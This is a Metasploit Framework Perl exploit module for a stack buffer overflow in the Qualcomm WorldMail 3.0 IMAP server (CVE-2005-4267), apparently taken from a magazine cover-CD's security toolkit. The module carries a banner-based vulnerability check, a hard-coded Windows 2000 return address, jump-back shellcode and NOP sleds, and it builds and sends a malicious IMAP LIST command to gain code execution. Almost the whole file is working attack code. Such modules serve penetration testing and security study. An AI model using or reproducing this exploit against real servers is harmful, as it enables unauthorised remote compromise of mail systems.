home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / eudora_imap.pm < prev    next >
Text File  |  2006-06-30  |  4KB  |  161 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Exploit::eudora_imap;
  11. use strict;
  12. use base 'Msf::Exploit';
  13. use Msf::Socket::Tcp;
  14. use Pex::Text;
  15.  
  16. my $advanced = {
  17.   };
  18.  
  19. my $info = {
  20.     'Name'    => 'Qualcomm WorldMail IMAPD Server Buffer Overflow',
  21.     'Version'  => '$Revision: 1.2 $',
  22.     'Authors' => [ 'y0 <y0 [at] w00t-shell.net>', ],
  23.     'Arch'    => [ 'x86' ],
  24.     'OS'      => [ 'win32', 'win2000'],
  25.     'Priv'    => 1,
  26.  
  27.     'UserOpts'  =>
  28.       {
  29.         'RHOST' => [1, 'ADDR', 'The target address'],
  30.         'RPORT' => [1, 'PORT', 'The target port', 143],
  31.       },
  32.  
  33.     'AutoOpts'  => { 'EXITFUNC'  => 'process' },
  34.     'Payload' =>
  35.       {
  36.         'Space'     => 750,
  37.         'BadChars'  => "\x00",
  38.         'Prepend'   => "\x81\xec\x96\x40\x00\x00\x66\x81\xe4\xf0\xff",
  39.       },
  40.  
  41.     'Encoder' =>
  42.       {
  43.         'Keys' => ['+alphanum'],
  44.       },
  45.  
  46.     'Description'  => Pex::Text::Freeform(qq{
  47.         This module exploits a stack overflow in the Qualcomm WorldMail IMAP Server 
  48.         version 3.0 (build version 6.1.22.0).
  49. }),
  50.  
  51.     'Refs'  =>
  52.       [
  53.           ['OSVDB', '22097'],      
  54.         ['CVE', '2005-4267'],
  55.         ['BID', '15980'],
  56.       ],
  57.  
  58.     'Targets' =>
  59.       [
  60.         ['Windows 2000 Pro English ALL', 0x75022ac4],
  61.       ],
  62.  
  63.     'DefaultTarget' => 0,
  64.  
  65.     'Keys' => ['imap'],
  66.  
  67.     'DisclosureDate' => 'Dec 20 2005',
  68.   };
  69.  
  70. sub new {
  71.     my $class = shift;
  72.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  73.  
  74.     return($self);
  75. }
  76.  
  77. sub Check {
  78.     my ($self) = @_;
  79.     my $target_host = $self->GetVar('RHOST');
  80.     my $target_port = $self->GetVar('RPORT');
  81.  
  82.     my $s = Msf::Socket::Tcp->new
  83.       (
  84.         'PeerAddr'  => $target_host,
  85.         'PeerPort'  => $target_port,
  86.         'LocalPort' => $self->GetVar('CPORT'),
  87.         'SSL'       => $self->GetVar('SSL'),
  88.       );
  89.  
  90.     if ($s->IsError) {
  91.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  92.         return $self->CheckCode('Connect');
  93.     }
  94.  
  95.     $s->Send("A023 LOGOUT\r\n");
  96.     my $res = $s->Recv(-1, 20);
  97.     $s->Close();
  98.  
  99.     if ($res !~ /WorldMail 3 IMAP4 Server 6\.1\.22\.0 ready/) {
  100.         $self->PrintLine("[*] This server does not appear to be vulnerable.");
  101.         return $self->CheckCode('Safe');
  102.     }
  103.  
  104.     $self->PrintLine("[*] Vulnerable installation detected :-)");
  105.     return $self->CheckCode('Detected');
  106. }
  107.  
  108. sub Exploit {
  109.     my $self = shift;
  110.     my $targetHost  = $self->GetVar('RHOST');
  111.     my $targetPort  = $self->GetVar('RPORT');
  112.     my $targetIndex = $self->GetVar('TARGET');
  113.     my $encodedPayload = $self->GetVar('EncodedPayload');
  114.     my $shellcode   = $encodedPayload->Payload;
  115.     my $target = $self->Targets->[$targetIndex];
  116.  
  117.     my $sock = Msf::Socket::Tcp->new(
  118.         'PeerAddr' => $targetHost,
  119.         'PeerPort' => $targetPort,
  120.       );
  121.  
  122.     if($sock->IsError) {
  123.         $self->PrintLine('Error creating socket: ' . $sock->GetError);
  124.         return;
  125.     }
  126.  
  127.     my $resp = $sock->Recv(-1, 3);
  128.     chomp($resp);
  129.     $self->PrintLine('[*] Got Banner: ' . $resp);
  130.     my $resp = $sock->Recv(-1, 3);
  131.     if($sock->IsError) {
  132.         $self->PrintLine('Socket error: ' . $sock->GetError);
  133.         return;
  134.     }
  135.  
  136.     $self->PrintLine('[*] Sending overflow...');
  137.  
  138.     my $jmpback =
  139.       "\x6a\x05\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x2f\x77\x28".
  140.       "\x4b\x83\xeb\xfc\xe2\xf4\xf6\x99\xf1\x3f\x0b\x83\x71\xcb\xee\x7d".
  141.       "\xb8\xb5\xe2\x89\xe5\xb5\xe2\x88\xc9\x4b";
  142.  
  143.     my $sploit =
  144.       "a001 LIST ". $self->MakeNops(20). $shellcode.
  145.       "\xeb\x06\x46\x92". pack('V', $target->[1]). $self->MakeNops(8).
  146.       $jmpback. $self->MakeNops(40). "}". "\r\n";
  147.  
  148.     $sock->Send($sploit);
  149.  
  150.     my $resp = $sock->Recv(-1, 3);
  151.     if(length($resp)) {
  152.         $self->PrintLine('[*] Got response, bad: ' . $resp);
  153.     }
  154.  
  155.     $self->Handler($sock);
  156.     $sock->Close();
  157.     return;
  158. }
  159.  
  160. 1;
  161.